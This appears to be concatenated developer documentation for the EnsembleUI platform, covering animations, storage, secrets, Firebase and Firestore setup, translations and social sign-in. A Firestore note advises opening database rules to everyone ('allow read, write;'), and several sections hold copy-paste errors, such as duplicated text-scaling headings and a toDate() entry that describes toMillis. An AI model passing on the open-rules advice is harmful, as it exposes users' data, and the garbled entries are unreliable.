alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| duration | integer | The duration in `ms ( millisecond )` for which the transition animation happens. | + +--- + +# Animations in EnsembleUI + +Welcome to our Animations page! Here, you'll learn how to bring your website to life with stunning page transition animations. Elevate user experience and captivate your audience with smooth transitions that seamlessly guide them through your content. Get ready to add a touch of magic to your web pages with our animation techniques. + +Note: `Currently we only support page transition animations`. + +**Example** +Let us take an example of how page transition animations work. We can make it work in teo ways either at the [Screen](#page-level-code) or in the [Theme](#theme). + +#### Page Level + + + +```yaml +- Button: + label: Navigate to Home + onTap: + navigateScreen: + name: Home + transition: + type: bottomToTopPop + duration: 250 # millisecond is default +``` + + + + +**Explanation** + +The `type` property under `transition` property for _NavigateScreen_ action allows you to chose kind of animation you want. There are [list](#list-of-animation-types) of options you can chose from. + +#### Theme + +We can also define animations in our App theme, here is how you can do it. You can learn more about theme [here](). + + + +```yaml +Transitions: + page: + type: size + alignment: topRight + duration: 300 # Millisecond +``` + + + + +**Explanation** + +Works similarly to page level transition in the screen but now we are defining it in [Theme]() which makes it applicable to page transitions across the whole App. + +#### List of Animation Types + +| Type | Description | +| :------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------- | +| Fade | Smoothly transition between pages with a gentle fading effect, creating a seamless and elegant user experience. | +| RightToLeft | Slide pages from right to left, providing a visually pleasing flow that guides users through your content. | +| LeftToRight | Engage users with a left-to-right animation, giving a sense of progression and intuitive navigation. | +| TopToBottom | Bring a sense of depth to your pages as they transition from top to bottom, creating a visually immersive experience. | +| BottomToTop | Enhance user engagement by animating pages from bottom to top, adding a touch of dynamism to your website. | +| Scale | Add a dramatic effect as pages smoothly scale in and out, providing a visually striking transition between content. | +| Rotate | Give your pages a unique twist as they rotate into view, creating a captivating and memorable animation. | +| Size | Play with the size of your pages as they transition, making them expand or contract for a visually engaging effect. | +| RightToLeftWithFade | Combine the sliding motion of right-to-left transition with a fading effect, adding an extra layer of elegance to your page transitions. | +| LeftToRightWithFade | Blend left-to-right motion with a fade effect, delivering a seamless and visually pleasing transition between pages. | +| LeftToRightPop | Grab attention with a pop animation that slides pages from left to right, creating a dynamic and impactful transition. | +| RightToLeftPop | Add an eye-catching pop animation to your page transitions as they slide from right to left, making a lasting impression on your users. | +| TopToBottomPop | Infuse excitement into your transitions with a pop animation that brings pages into view from top to bottom, captivating your audience. | +| BottomToTopPop | Elevate user experience with a pop animation that animates pages from bottom to top, adding a delightful touch to your website's transitions. | + +--- + +# Using Custom Fonts + +Ensemble supports Google Fonts, but you also have the option to use your own custom fonts when deploying your app with [Ensemble Starter](https://docs.ensembleui.com/#/deploy/1-prepare-app). + +### +- From the root directory of Ensemble Starter, open `pubspec.yaml`. +- Under `flutter > fonts`, add your font entry in the following format: +``` + - family: + fonts: + - asset: assets/fonts/... + weight: + style: +``` +- Add your fonts under the directory specified above (e.g. assets/fonts/). +- In your definitions, you may now reference the font specified here using `fontFamily`. +``` +Text: + text: Hello world + styles: + textStyle: + fontFamily: +``` + +--- + +# Splash Feedback (Touchable Opacity) + +The **Splash Feedback** is a visual feedback mechanism that creates a ripple or splash animation when a user interacts with a widget. This effect enhances the user experience by providing immediate visual confirmation that an action, such as a tap or click, has been recognized by the interface. + +In many user interfaces, buttons come with a default splash effect, providing instant feedback during interaction. Recognizing the value of this visual feedback, Ensemble introduces the ability to extend the splash effect to other widgets, such as rows, columns, and containers, which don't have a splash effect by default. + +[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/sXFnorqUvN0l9zfSnTcX) + + + +### Widget List +Following are the list of widgets that support Splash Feedback +| Widget | Documentation | Kitchen sink example | +| ------------ | -------------- | ----------------------- | +| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | +| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | +| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | +| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | +| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | +| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | + + + + + + + +## Enable Splash Feedback + +To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. + +```yaml +Row: + styles: + enableSplashFeedback: true + padding: 10 + borderWidth: 1 + onTap: + executeCode: + body: | + console.log("Enabled Splash Feedback") +``` + +## Splash Color + +To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. + +```yaml +Row: + styles: + enableSplashFeedback: true + padding: 10 + borderWidth: 1 + onTap: + executeCode: + body: | + console.log("Enabled Splash Feedback") +``` + +## Set max and min text scaling + +You can continue supporting text scaling, but set max and min for the scaling factor: + +## Disable text scaling + +To disable text scaling globally across your app, go to your app's theme, and add the following: + +```yaml +App: + textScale: + enabled: true # this is the default behavior + maxFactor: 1.2 + minFactor: 0.8 +``` + +In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. + +--- + +# Text scaling + +iOS and Android users can use the accessibility features to change the weight, size, and darkness of text to make it easier to read on their devices. + +Ensemble apps adhere to user selected preference by default. You can either disable text scaling, or set minimum and maximum factors you like to support in your app. + + +## Disable text scaling + +To disable text scaling globally across your app, go to your app's theme, and add the following: + +```yaml +App: + textScale: + enabled: false +``` + +## Set max and min text scaling + +You can continue supporting text scaling, but set max and min for the scaling factor: + +## Disable text scaling + +To disable text scaling globally across your app, go to your app's theme, and add the following: + +```yaml +App: + textScale: + enabled: true # this is the default behavior + maxFactor: 1.2 + minFactor: 0.8 +``` + +In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. + +--- + + +# Assets (images, videos, etc.) + +You can manage the assets required by your app within Ensemble Studio. These are typically files such as: + +- image files (PNGs, JPEGs, SVGs, etc.) +- video files +- audio files +- JSON source for [Lottie widget](#lottie-animation-widget) + +> [!NOTE] +> When you build and deploy your app, these assets are included in your built output. These assets are loaded instantly in iOS and Android apps instead of downloading them over the network. This approach avoides any delay in displaying the assets. + + +## Upload assets + +Navigate to your app inside Ensemble Studio. Select Assets from the left menu. Click on Add assets and upload your file. + +![add language](public/images/app-assets/assets_landing.png) + +## Reference an assets + +![add language](public/images/app-assets/assets_example.png) + +1. Click on the `...` icon of the asset. +2. Select `Copy path`. +3. Paste the path in the relevant widget. This is typically the `source` property of widgets such as Image. + +--- + +# Persistent Local Storage +You can write to or access the storage using simply `ensemble.storage`. On the browser, this uses the local storage. On the native apps, it uses the secure storage that's provided to each app by iOS and Android. This stoage is persistent i.e. the data you save will stay there until the user explicitly deletes the storage or the app. This means that you can use storage to share data among multiple screens in your app. + +Typically apps store data such as the logged-in user's information, app-level data to cache data from the backend etc. + +### Storing and Retrieving data +You can store data in the persistent storage by just using the following syntax - + +```js +ensemble.storage.myData = {name: {first:'John', last: 'Doe'}}; +``` +and to retrieve data, simply access the parameter by name. For example - +```yaml +Text: + id: nameField + text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} +``` +or in js - +```js +nameField.text = ensemble.storage.myData.name.first + ' ' + ensemble.storage.myData.name.last; +``` +You can also store and retrieve properties using the set and get methods on `ensemble.storage`. This is useful when the parameter name is dynamically calculated instead of being known in advance. + +```js +ensemble.storage.set('my'+'Data',"{name: {first:'John', last: 'Doe'}"); +//to retrieve data +var myData = ensemble.storage.get('my'+'Data'); +``` +If the parameter with the same name already exists in the storage, it's value will be overwritten by the new value being set. + +### Checking if something is in storage +You can check in two ways, either by directly accessing the parameter by name or by using the `get` method and checking for null. + +```js +if ( ensemble.storage.myData != null ) { + //do something +} +``` + +### Deleting data in storage +You can set the parameter to null to remove its value. However if you want to entirely delete it from storage, call the `delete` method. + +```js +ensemble.storage.delete('myData'); //this will remove value referenced by myData and the myData as the key. +``` + +### Binding to the data in storage +One of the most powerful features of the Ensemble platform is the data binding. It allows you to significiantly reduce the amount of code you have to write and the ensuing complexity by just binding your widgets to the APIs or Storage. + +Here we will discuss binding to the `ensemble.storage`. When you `bind` a widget to something, the widget gets updated automatically when the thing it is bound to changes. + +For example, in the following yaml, `nameField.text` is bound to data in the storage. +```yaml +Text: + id: nameField + text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} +``` +Now somewhere else (mostly in API responses), if you update the `myData` in storage, the `nameField.text` will automatically get the new value without you having to do anything. + +```yaml +API: + getDataFromServer: + url: 'https://myapp.com/data' + onResponse: |- + ensemble.storage.myData = response.data; //this will update all the fields that are bound to this parameter in storage +``` +### Manually triggering binding updates +Updates due to bindings to the storage are triggered only when you set a parameter on the storage directly. + +For example, the following triggers the binding and updates all the fields that are bound to ensemble.storage.myData +```js +ensemble.storage.myData = {name: {first:'John', last: 'Doe'}; +``` +However, if you are manipulating the data that is not directly stored in the `ensemble.storage`, it won't trigger binding. +```js +ensemble.storage.myData.name.first = 'Jane'; //will NOT trigger binding and the `nameField.text` will NOT be updated. +``` +To solve this issue, we set storage parameter back to itself to trigger the update. After doing all the manipulations to myData, set it back to itself +```js +ensemble.storage.myData = ensemble.storage.myData; //this will now update nameField.text and any other fields listening for this change +``` + +--- + +# App Settings + +Navigate to your app in Ensemble Studio to use the following settings: + +1. [Environment variables](#environment-variables) +2. [Secrets](#secrets) + +## Environment variables + +Add variables you intend to use throughout your app here. We recommend to use this for: + +- API endpoints +- 3rd-party service variables, such as service configs and URLs + +### Using environment variables + +Throughout your app, you can reference the environment variable with `${env.key_name}`. For instance, the API definitions can reference a variable: + +```yaml +API: + getUser: + url: ${env.apiEndpoint} + method: GET +``` + +## Secrets + +Your app may require using sensitive values for managing access to remote data. Ensemble supports configuring development secrets easily and securely during runtime, and the ability to inject separate production secrets when deploying. + +Add Secret + +Only application owners and editors can add or change secret values due to their sensitive nature. + +### Using secrets + +Any screens can reference the variable with `${secrets.key_name}`. Here we are simply displaying the secret value in a text field. + +Use Secret + +### Inject production secrets for deployment + +You can override your secrets for deployment from the .env file in your Ensemble project by using the same key with a different value. + +We do not recommend version controlling your .env file as this will expose your secrets. Consider removing your .env file from version control or injecting secrets at build time. + +--- + + +# Configuration of Firebase Project with Ensemble App + +Application's performance significantly increases with ⁤Integrating Firebase with our Ensemble project. ⁤⁤Firebase offers some services, such as real-time databases, authentication, analytics, and cloud messaging, which can help streamline backend development, +improve user engagement, and provide deep insights into user behavior. ⁤⁤Using Firebase with Ensemble allows us to focus more on our application's core features and user experience, while Firebase handles the backend. +⁤Now, let's dive into the configuration steps: + + +## Prerequisites +Before we start configuration, ensure that we have the following in place: +1. Ensemble project to integrate with Firebase. +2. Head over to the [Firebase console](https://console.firebase.google.com/) and create a new project or use an existing one. + +## 1. Registering our App with Firebase + +Firebase supports integration with various app platforms. Here's a breakdown for each platform: + +![All Apps](public/images/firebase/addApp.png) +#### Android + +- Click the Android icon(looks like a little robot) to start the setup. +- Type the unique "Android Package Name". Make sure it matches our app's exact name, and remember, it's case-sensitive! + +> [!NOTE] +> To learn more about how to get our Android package name for ensemble application, click [here](/deploy/4-android-device.md). + +- Click "Register app" to complete this step. +- Finally, download a file called "google-services.json". This file holds all the secret handshake information Firebase needs to talk to our app. + + +#### iOS + +- Click the Apple icon to start the setup. +- Enter our app's unique ID (called a "bundle ID"). Make sure it matches our app's exact name, and remember, it's case-sensitive! + +> [!NOTE] +> To learn more about how and where we can find our "Bundle ID" for ensemble application, click [here](/deploy/3-ios-appstore.md). + +- Click "Register app" to complete this step. +- Download a file called "GoogleService-Info.plist". This file contains the secret details Firebase needs to work with your app. + +#### Web + +- Click the Web icon(looks like a globe) to start the setup. +- Give our web app a nickname(this is just for us to see in the Firebase console). +- Click "Register app" to complete this step. +- Firebase will provide on-screen instructions where we will find a portion with the name `firebaseConfig` in code given. Copy that portion and save it in a file with the rest configuration files. + +![All Apps](public/images/firebase/allApps.png) + +## 2. Configure Ensemble app +Now that we've registered our app with Firebase and downloaded the configuration files, +it's time to establish the connection within our Ensemble project. +#### Make a Configuration File + +The first step involves creating a configuration file that stores Firebase project details specific to our chosen platform (iOS, Android, or Web). This file +acts as a translator between our app and Firebase, providing the necessary information for them to communicate effectively. The file will look like: + +```yaml +{ + "web": { + # Copy and paste all the values of firebaseCongig variable that we copy from web app and paste it here. + }, + "android": { + "apiKey": # In google-services.json, take value of client.api_key.current_key, + "appId": # In google-services.json, take value of client.client_info.mobilesdk_app_id, + "messagingSenderId": # In google-services.json, take value of project_info.project_number, + "projectId": # In google-services.json, take value of project_info.project_id, + "storageBucket": # In google-services.json, take value of project_info.storage_bucket + }, + "ios": { + "apiKey": # In GoogleService-Info.plist, take the value of API_KEY, + "appId": # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID, + "messagingSenderId": # In GoogleService-Info.plist, take the value of GCM_SENDER_ID, + "projectId": # In GoogleService-Info.plist, take the value of PROJECT_ID, + "storageBucket": # In GoogleService-Info.plist, take the value of STORAGE_BUCKET, + "iosBundleId": # In GoogleService-Info.plist, take the value of BUNDLE_ID + } +} +``` +After we have replaced the placeholder hashtags (#) in our configuration file, it will look like this: + +![Configuration File](public/images/firebase/configfile.png) + +#### Update Environmental Variables + +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: +- `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. +- `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. + +![Environment Variables](public/images/firebase/envVari.png) + +By following these steps, we'll successfully establish a connection between your Ensemble app and Firebase. + +--- + + +# Calling Cloud Firestore APIs + +[Cloud Firestore](https://firebase.google.com/docs/firestore) is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud. Ensemble platform provides a deep integration with the Firestore DB and allows you to call operations on your data in Firestore effortlessly. + +Unlike traditional relational databases, Firestore offers a document-based structure well-suited for storing and managing various data types within oour app. Firestore is a great choice for Ensemble applications because it provides simplified data modeling, Offline Persistence, Real-time Updates, and API Convenience to interact with data.⁤ + +Now, let's dive into performing basic operations on our Firestore database: + +> [!NOTE] +> Operations on Firestore won't work unless we have configured our Ensemble application with Firebase. Learn how to configure it [here](pages/firebase/configuration.mdx). + +- To get hands-on experience with firestore operations, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) + +## Firestore Data types + +### Timestamp +Following methods are available for Firestore's Timestamp type. + +#### Timestamp.now() +Static method. Returns a Timestamp representing the current time. + +Example +```js +var currentTimestamp = Timestamp.now(); +console.log(currentTimestamp); +``` +#### Timestamp.fromDate(date) +Static method. Creates a Timestamp from a JavaScript [Date](https://docs.ensembleui.com/javascript-reference/Date) object. +Example +```js +var specificDate = new Date('2024-08-05T12:34:56Z'); +var specificTimestamp = Timestamp.fromDate(specificDate); +console.log(specificTimestamp); +``` + +#### Timestamp.fromMillis(milliseconds) +Static method. Creates a Timestamp from a given number of milliseconds since the Unix epoch (January 1, 1970). + +Example +```js +var milliseconds = 1691237696123; // Milliseconds since the Unix epoch +var timestampFromMillis = Timestamp.fromMillis(milliseconds); +console.log(timestampFromMillis); +``` + +#### new Timestamp(seconds, nanoseconds) +Constructor. Creates a Timestamp object from a given number of seconds since the Unix epoch and additional nanoseconds. + +Example +```js +var seconds = 1691237696; +var nanoseconds = 123456789; +var customTimestamp = new Timestamp(seconds, nanoseconds); +console.log(customTimestamp); +``` +#### toDate() +Converts a Timestamp to the number of milliseconds since the Unix epoch. +Example +```js +var milliseconds = customTimestamp.toMillis(); +console.log(milliseconds); +``` +#### valueOf() +Returns the number of milliseconds since the Unix epoch, similar to toMillis(). It’s used when Timestamp is compared to other values in arithmetic operations. + +Example +```js +var value = customTimestamp.valueOf(); +console.log(value); +``` + +Following properties are also available on each `Timestamp` object + +#### seconds +The number of seconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. + +Example +```js +var timestamp = new Timestamp(10,0); +console.log(timestamp.seconds); //prints 10 +``` +#### nanoseconds +The number of nanoseconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. + +Example +```js +var timestamp = new Timestamp(10,0); +console.log(timestamp.nanoseconds); //prints 0 +``` +### FieldValue + +Other than `isEqual`, Ensemble platform supports all the methods for [FieldValue](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue). + +All the methods are static and are called exactly the same way as you could call in js, see [this](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue) for example. + +See the following paragraphs for examples of how to use `FieldValue.serverTimestamp()` + +## 1. Creating a Firestore Collection + +To store data in Firestore, we need to create a collection. A collection in Firestore is a container for documents, +which are individual pieces of data. Each document contains a set of key-value pairs. Follow the given steps to create a collection: +- Go to the Firebase Console. +- Select our project. +- Navigate to Firestore Database in the side menu. +- Click on Start collection. +- Enter a collection ID (e.g., sports). +- We can add our first document by entering a document ID or let Firestore auto-generate one for us. +- Add fields and values to our document. +- Click Save. + +> [!NOTE] +> By default, firestore rules do not allow anyone to access our database. To get started with it, update the rules by changing it to `allow read, write;` which allow everyone to access our database and then update the rules according to our requirements. + +## 2. Types of Firestore Operations +Firestore offers various operations to interact with our data. Here's a breakdown of some core operations along with demo API calls for our Ensemble app + +### Get: +This operation retrieves data from our Firestore collections. We can either retrieve entire collections or use queries to filter and sort our data. +1. **Example (Get all users)**: +```yaml +getUsers: + type: firestore + path: users + listenForChanges: true +``` +**Explanation**: +- `type: firestore`: Specifies that the operation is for Firestore and it is not a RestAPI. +- `path`: The path to the collection or document from where we wanna retrieve the data. +- `listenForChanges`: The operation will listen for real-time updates if set to true and triggers the UI to update. +> Default vale for `operation` is set to `add` if not mentioned. + +> Note: When `listenForChanges` is set to `true`, the first response from the API will be `{"message": "Subscribed to API", "documents": []}`. Be aware of this if your response handling involves checking whether `documents` is empty. +2. **Example (Get user using multiple filters)**: +```yaml +getSpecificUsers: + inputs: + - userId + type: firestore + path: example/users + query: + where: + - field: _documentId + operator: == + value: ${userId} + orderBy: + - age + limit: 10 +``` + +**Explanation**: +- `inputs`: We can also use dynamic variables in the path or a query. +- `path`: Path can be any based on our collections and documents we are trying to access. +- `query`: Filters the data based on the conditions such as [where](https://cloud.google.com/firestore/docs/query-data/queries). [orderBy, Limit](https://cloud.google.com/firestore/docs/query-data/order-limit-data). + +### Add: +The `add` operation creates a new document in a collection with a specified or auto-generated ID. +1. **Example**: +```yaml +createProject: + inputs: + - userId + - proName + - proDes + - proFiles + type: firestore + path: users/${userId}/Projects + operation: add + data: + proName: ${proName} + description: ${proDes} + createdAt: ${FieldValue.serverTimestamp()} +``` +**Explanation**: +- `operation: add`: Indicates that a new document will be created. +- `data`: The fields and values for the new document. Note how `FieldValue` is being used to tell Firestore to set the server timestamp + +### Set: +The `set` operation can create a new document if it does not exist but if the document already exists, `set` will overwrite +the entire document with the data provided, unless we use the `merge` option. +1. **Example**: +```yaml +setProject: + inputs: + - userId + - projectID + - proName + - proDes + - proFiles + type: firestore + path: users/${userId}/Projects/${projectID} + operation: set + data: + proName: ${proName} + description: ${proDes} + setAt: ${FieldValue.serverTimestamp()} +``` + +### Update: +The `update` operation only updates the fields specified in the provided data. If the document does not exist, `update` +will fail with an error. +1. **Example**: +```yaml +inputs: + - userId + - projectID + type: firestore + path: users/${userId}/Projects/${projectID} + operation: update + data: + # Below files will be stored as Array of objects. + files: [{ name: "index.js" , lines: 78 },{ name: "LMS.js" , lines: 245 }] + lastUpdated: ${FieldValue.serverTimestamp()} +``` + +### Delete: +The `delete` operation removes a document from a collection. +1. **Example**: +```yaml +deleteProject: + inputs: + - userId + - projectID + type: firestore + path: users/${userId}/Projects/${projectID} + operation: delete +``` + +### Collection Group: +The `isCollectionGroup` feature is used to retrieve specific collections from any collection. For example, if we have 100 documents in the `users` collection and each document has a sub-collection named `projects`, the `isCollectionGroup` feature helps in getting all `projects` directly rather than iterating through each document. +1. **Example**: +```yaml +getAllProjects: + type: firestore + path: Projects + isCollectionGroup: true +``` + +## 3. Response of Firestore Operations +When performing Firestore operations, we may need to manipulate the responses to fit our application's needs. Below are some common ways demonstrating how to use YAML for API calls, handle states, and display data in our app. +#### 1. Firstly, we will make an API call as follow: +```yaml +invokeAPI: + name: getProjects + inputs: + userId: ${userID} +``` +> We can also use `onResponse` & `onError` on firebase API calls and can perform operations on response. + +#### 2. Using response in `Column`: +To display data based on the API call's state (loading, success, error), you can use the following structure: +```yaml +Column: + children: + - Column: + styles: + visible: '${getProjects.isLoading ? true : false}' + children: + - Progress: + display: circular + - Column: + styles: + visible: '${getProjects.isSuccess ? true : false}' + item-template: + data: ${getProjects.body.documents} + name: project + template: + projectDisplay: # that is an custom widget. + inputs: + name: ${project.proName} + des: ${project.description} + - Column: + styles: + visible: '${getProjects.isError ? true : false}' + children: + - Text: + text: "An error has occurred" +``` +- Explanation: + - The first child `Column` is visible only when the API call is loading `(visible: '${getProjects.isLoading ? true : false}')`. It shows a circular progress indicator. + - The second child `Column` is visible only when the API call is successful `(visible: '${getProjects.isSuccess ? true : false}')`. It iterates over the documents in the response body using item-template. + - The third child `Column` is visible only when there is an error `(visible: '${getProjects.isError ? true : false}')`. It shows an error message. + +#### 3. Using response in `Dropdown`: +To display data in a dropdown, we can use the following YAML structure: +```yaml +Dropdown: + id: selectProject + label: Select Project + itemTemplate: + data: ${getProjects.body.documents} + name: project + value: ${project._documentId} + template: + Text: + text: ${"Name:" + " " + project.proName} +``` + +By using these operations, we can efficiently manage our data in Firestore with an Ensemble project. Firestore's +real-time capabilities and simple API calls make it a powerful tool for any application. + +--- + + +# Translations + +Ensemble supports localization of app content so that your app users can view the app in their preferred language. + +## How it works + +When an app loads, Ensemble checks the defualt language of the device (e.g. languages setting in iOS, Android, or Chrome browser). + +1. If device default langugae is supported by your app, Ensemble uses that language. +2. Else, Ensemble uses the app's default language. + +You can override the above behavior using [the setLocale action](#set-the-locale). + + +## Set up languages + +In Ensemble Studio, navigate to your app and select Translations from the left menu. Add new language to start with. + +> [!NOTE] +> The first language you add is set as the default. You can update the default language when you add more by clicking the `...` menu on the language. + + +![add language](public/images/translations/add-language.png) + +## Add language content + +Language content is created in YAML. Add key/value pairs for each text. + +![add language](public/images/translations/add-language-content.png) + +#### Organize the content + +To make it easier to find and update the text, you can create a hierarchy within language files. For instance, you can have common text under `common` and text related to login screen under `login` + +```yaml +common: + submit: Submit + error: Something went wrong. Try again. + +login: + login_button: Sign in + login_error: Incorrect username or password. Please try again. + +``` + + +## Reference the translation + +In any screen or widget, reference the translations. E.g. for a button, assign the reference to the `label` property. + +When refrencing translations, prepend `r@` before the key assigned to the text: + + +```yaml +- Button: + label: r@login.login_button +``` + + +## Test in Preview + +Use the 🌎 icon on top of the preview to select a language. The preview updates and shows the UI in the selected language. + +![add language](public/images/translations/test-language.png) + + +## Setting language in app code + +You can dynamically change the app's language from within your app. This allows users to select a language for the app that is different than OS language. + +### Retrieve Supported Languages + +To get an array of languages supported by your app (i.e., translations you created in Ensemble Studio), use the following code: + +```javascript +// Get array of supported languages +console.log(app.languages); +``` + +### Get Current Language and Locale +To log the currently set language and locale: + +```javascript +// Log currently set language +console.log(app.language); + +// Log currently set locale +console.log(app.locale); +``` + +### Set the Locale +You can set the locale using the ensemble.setLocale method. This method updates the app's language. + +```yaml +Button: + label: Switch to English + onTap: + setLocale: + languageCode: en +``` + +This action can be triggered in code: + +```javascript +// Set the locale to English +ensemble.setLocale({ + "languageCode": "en" +}); +``` + + +### Example usage +Here's an example of how you might integrate the language selection dropdown into a screen: + +```javascript +Screen: + - Dropdown: + itemTemplate: + data: ${app.languages} + name: language + template: + Text: + text: ${language.name} (${language.nativeName}) + value: ${language.languageCode} + + onChange: |- + ensemble.setLocale({ languageCode: event.data.value }); + + - Button: + label: r@common.submit +``` +### Defining different themes per language +See [this](https://docs.ensembleui.com/theme-and-styling/theme#defining-themes-for-different-locales) for more details + +--- + +# Authentication +Ensemble supports Sign In with Google, Apple as well as with Auth0. + +## Setup +By default Sign in is disabled. To enable it, follow the setup steps below. + +### Enable the Auth module +- Go to `/starter/pubspec.yaml` and uncomment the `ensemble_auth`. +- Go to `/starter/lib/generated/EnsembleModules.dart` + - Set `useAuth` to `true`. + - Uncomment the `if` section to enable the AuthModuleImpl. You may also need to uncomment the import statement. + +### Sign in with Apple +Note that if you are using Sign in with Google on iOS, Apple requires you to also support Sign in with Apple. To enable Sign in with Apple, follow these steps: +- Open XCode from the iOS project under `/starter/ios` in XCode. +- Select your `Runner` target and go to `Signing & Capabilities` tab. +- Click on the `+ Capability` button and select "Sign in with Apple". +- To enable Sign in with Apple only on iOS, you can use the Condition widget to only show if platform is iOS. +```yaml +Column: + children: + - SignInWithGoogle: + + # only show Sign in with Apple on iOS + - Conditional: + conditions: + - if: ${ensemble.device.isIOS()} + widget: + SignInWithApple: +``` + +## Implementation +- For Sign in with Google locally or with your server, go to [Social Sign In](#social-sign-in). +- To use Firebase instead of your server, go to [Firebase](#setting-up-authentication-with-firebase). +- For Sign in with Auth0, go to [Auth0](#setting-up-authentication-with-auth0). + +--- + +# Social Sign In + +Ensemble supports Social Sign in with Google and Apple. This guide will specifically target the **Sign in with Google** flow. +For each service, we support three different mechanism for managing the signed-in users: [Client-side](#client-side), with your [Server](#Server-side), or with [Firebase](#setting-up-authentication-with-firebase). + + + +## Client-side +Ensemble supports Signing In from the client side without any backend server. User information is stored locally on the device. + + +### Build your screens on Studio +First build a **Login** screen. + +```yaml +View: + styles: + useSafeArea: true + + body: + Column: + styles: + # centering the content + mainAxisSize: min + crossAxis: center + alignment: center + children: + - Text: + text: Welcome to a SignIn Example + styles: + textStyle: + fontSize: 20 + padding: 0 0 20 0 + + - SignInWithGoogle: + # Once signed in, go to the screen 'Home' + # Also clear all previous screens to prevent Back button navigation + onSignedIn: + navigateScreen: + name: Home + options: + clearAllScreens: true +``` +Now build the screen **Home** to show the currently logged-in user's information. + +```yaml +View: + header: + title: Welcome Home + + # onLoad check if currently signed in. If not go to the Login screen + onLoad: + verifySignIn: + onNotSignedIn: + navigateScreen: + name: Login + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Row: + styles: + gap: 7 + children: + # Current user's info is under ${auth.user.*} + - Avatar: + source: ${auth.user.photo} + - Text: + text: |- + ${auth.user.name} + ${auth.user.email} + - Button: + label: Sign Out + onTap: + # sign out will clear the user info + signOut: + onComplete: + # once signed out, go to the Login screen + # Also clear all existing screens so the user can't go back + navigateScreen: + name: Login + options: + clearAllScreens: true +``` + + +## Server-side +Currently Social Sign In with your custom Server has to be managed manually. Below is an example flow, and your implementation can varies per your needs. +1. Use the Social Sign in to authenticate the user. This will return the idToken and the user information. +2. Send this idToken to your server, which can validate that this idToken was issued by Google, extract the user information from the idToken, and return server-specific credentials (e.g. bearer token, cookies) for this user back to the client. +3. The client can then save these credentials into storage and use them for subsequent requests. + +```yaml +View: + body: + SignInWithGoogle: + # the user successfully authenticated with Google + onAuthenticated: + invokeAPI: + # call your server, pass the idToken and return server-specific credentials + name: signInToServer + inputs: + # idToken can be accessed on event.data.idToken + token: ${event.data.idToken} + + # user info can be accessed via event.data.user.* + email: ${event.data.user.email} + + onResponse: + executeCode: + # store the bearerToken for latter use + body: |- + ensemble.storage.token = response.body.bearerToken; + onComplete: + navigateScreen: + name: Home + options: + replaceCurrentScreen: true + +API: + # Your server should validate that the idToken is indeed issued by Google + # The server can then create/update the user account in your database, and return server-specific credentials about this user + signInToServer: + inputs: [token] + uri: https://myExampleApi.com/auth + parameters: + token: ${token} +``` +## Add Custom Widget to Google Sign-In Button + +**NOTE:** This property only works for native applications (Android and iOS), on web it will not replace default Google Sign-In Button. + +Ensemble allows you to replace the default `SignInWithGoogle` Widget UI with your own custom widget. By using the widget property within the `SignInWithGoogle` Widget, you can specify any widget to display in place of the default button. This feature enables full customization of the UI, while maintaining the same behavior for signing in and handling events. + +### How to Use the widget Property: ### +The `widget` property can be used inside the `SignInWithGoogle` Widget to define a custom widget. If this property is set, it will replace the default Google Sign-In button with the provided widget. + +### Example: ### +```yaml +SignInWithGoogle: + onSignedIn: + showToast: + message: ${auth.user.email} + onError: + showToast: + message: Something went wrong + widget: + IconButton: + icon: + name: google + library: fontAwesome + color: red +``` + +--- + +# Setting up Authentication with Firebase + +For convenience, Ensemble's Sign In can connect directly to Firebase, allowing you to manage users via Firebase console without the need for a backend server. + + + + +#### Prerequisites + +1. You have created a Firebase project +2. You have created an app on Ensemble Studio +3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine +4. You have a Simulator for testing + +## 1. Configure Firebase project + +Login to your Firebase account and navigate to your project in order to complete following steps. + +#### Enable Sign in with Google + +Go to the Authentication section of your Firebase project, and enable Authentication. After that, enable Google as the sign-in 